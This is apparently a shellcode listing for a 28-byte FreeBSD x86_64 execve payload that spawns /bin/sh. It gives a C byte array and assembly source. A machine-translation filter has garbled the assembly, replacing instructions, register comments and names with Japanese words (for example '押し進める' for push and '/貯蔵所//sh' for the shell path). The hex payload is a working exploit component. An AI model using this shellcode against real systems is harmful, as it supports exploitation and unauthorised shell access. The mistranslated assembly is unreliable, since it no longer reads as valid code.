このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/* * Gitsnik, @dracyrys * FreeBSD x86_64 execve, 28 bytes * */ C source: char code[] = \ "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb" "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53" "\x54\x5f\x52\x57\x54\x5e\x0f\x05"; Intel 議会: 全世界の _start ; ; 28 byte execve FreeBSD x86_64 ; ; [gitsnik@bsd64]$ nasm -f elf64 爆撃する.nasm -o 爆撃する.o ; [gitsnik@bsd64]$ ld -o 爆撃する 爆撃する.o ; [gitsnik@bsd64]$ ./爆撃する ; $ 出口 ; [gitsnik@bsd64]$ ; section .text _start: xor rcx, rcx mul rcx 追加する al, 0x3b ; execve() mov rbx, 0x68732f2f6e69622f ; hs//nib/ ; Argument one 爆撃する[0] = "/貯蔵所//sh" 押し進める rdx ; null 押し進める rbx ; hs//nib/ ; We need pointers for execve() 押し進める rsp ; *pointer to 爆撃する[0] pop rdi ; Argument 1 ; Argument two 爆撃する (含むing 演説(する)/住所 of each argument in array) 押し進める rdx ; null 押し進める rdi ; 演説(する)/住所 of 爆撃する[0] ; We need pointers for execve() 押し進める rsp ; 演説(する)/住所 of char * 爆撃する pop rsi ; Argument 2 syscall